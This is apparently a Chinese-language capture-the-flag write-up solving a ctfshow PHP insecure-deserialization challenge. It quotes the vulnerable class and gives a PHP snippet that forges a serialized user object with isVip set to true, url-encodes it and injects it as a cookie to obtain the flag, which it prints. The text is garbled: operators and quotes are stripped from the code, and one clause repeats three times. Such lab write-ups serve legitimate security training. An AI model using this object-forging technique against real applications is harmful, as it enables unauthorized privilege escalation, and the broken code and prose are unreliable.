通过代码审计可以看出本题要求我们if(isset($username)isset($password)){$userunserialize($_COOKIE[user]);if($user-login($username,$password)){if($user-checkVip()){$user-vipOneKeyGetFlag();当cookie的值被反序列化后的username和password的值与在url输入的值一样时满足第一层if语句然后判断user是否为vip只有这个判断的返回结果为true才能执行user是否为vip只有这个判断的返回结果为true才能执行user是否为vip只有这个判断的返回结果为true才能执行user-vipOnekeygetflag()同时还要满足publicfunctionlogin($u,$p){return$this-username$u$this-password$p;}publicfunctionvipOneKeyGetFlag(){if($this-isVip){global$flag;if($this-username!$this-password){echoyour flag is .$flag;username和password的值要满足用户名和密码不能相同我们可以本地运行一段简单的 PHP 代码来生成我们需要的序列化字符串?php class ctfShowUser { public $username admin; // 任意设置但不要与密码相同 public $password secret; // 任意设置 public $isVip true; // 必须为 true } $user new ctfShowUser(); echo urlencode(serialize($user)); ?这里就可以直接把输出的结果放入该网站的cookie中我们先按下f12打开开发者工具先添加一个cookie然后对这个cookie的名称和值进行修改因为这次的反序列化后的值已经被url编码使用可以直接输入没有限制最后flag为your flag is ctfshow{3e5d5dc9-1b36-4060-8b1d-90f74ac4ef9f}